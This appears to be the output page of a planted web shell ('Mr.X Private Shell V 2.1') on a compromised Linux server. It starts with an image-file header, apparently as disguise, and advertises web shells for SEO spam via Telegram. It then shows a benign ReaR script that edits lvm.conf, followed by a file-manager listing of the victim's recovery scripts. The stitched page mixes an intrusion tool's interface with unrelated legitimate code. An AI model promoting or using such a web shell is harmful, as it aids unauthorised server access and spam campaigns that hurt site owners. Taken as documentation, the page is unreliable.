����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# build/GNU/Linux/640_verify_lvm_conf.sh
# Purpose is to turn off the
# "WARNING: Failed to connect to lvmetad. Falling back to device scanning"
# in the output during the 'rear recover' process - see issue
# https://github.com/rear/rear/issues/2044 for more details
# Nothing to do when there is no $ROOTFS_DIR/etc/lvm/lvm.conf file:
test -f $ROOTFS_DIR/etc/lvm/lvm.conf || return 0
# Determine whether or not lvmetad is in use:
local use_lvmetad_active=""
# First try the older traditional 'lvm dumpconfig':
lvm dumpconfig | grep -q 'use_lvmetad=1' && use_lvmetad_active="yes"
# If 'lvm dumpconfig' did not work use the newer 'lvmconfig':
if ! test "$use_lvmetad_active" ; then
lvmconfig | grep -q 'use_lvmetad=1' && use_lvmetad_active="yes"
fi
# As fallback try 'lvm version':
if ! test "$use_lvmetad_active" ; then
lvm version | grep -q -- '--enable-lvmetad' && use_lvmetad_active="yes"
fi
# Skip enforcing 'use_lvmetad = 0' in $ROOTFS_DIR/etc/lvm/lvm.conf
# if lvmetad is not in use:
is_true "$use_lvmetad_active" || return 0
# Enforce 'use_lvmetad = 0' in $ROOTFS_DIR/etc/lvm/lvm.conf
sed -i -e 's/.*use_lvmetad =.*/# &/' -e '/global {/ a use_lvmetad = 0' $ROOTFS_DIR/etc/lvm/lvm.conf
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| 005_create_symlinks.sh | File | 1.36 KB | 0644 |
|
| 090_create_lib_directories_and_symlinks.sh | File | 486 B | 0644 |
|
| 100_copy_as_is.sh | File | 11.61 KB | 0644 |
|
| 110_touch_empty_files.sh | File | 401 B | 0644 |
|
| 130_create_dotfiles.sh | File | 2.19 KB | 0644 |
|
| 150_adjust_permissions.sh | File | 213 B | 0644 |
|
| 390_copy_binaries_libraries.sh | File | 7.63 KB | 0644 |
|
| 400_copy_modules.sh | File | 17.66 KB | 0644 |
|
| 420_copy_firmware_files.sh | File | 2.92 KB | 0644 |
|
| 450_symlink_mingetty.sh | File | 266 B | 0644 |
|
| 600_verify_and_adjust_udev.sh | File | 4.11 KB | 0644 |
|
| 610_verify_and_adjust_udev_systemd.sh | File | 1.53 KB | 0644 |
|
| 620_verify_os_release_file.sh | File | 453 B | 0644 |
|
| 630_simplify_systemd_reboot_halt_poweroff_shutdown.sh | File | 3.06 KB | 0644 |
|
| 630_verify_resolv_conf_file.sh | File | 6 KB | 0644 |
|
| 640_verify_lvm_conf.sh | File | 1.18 KB | 0644 |
|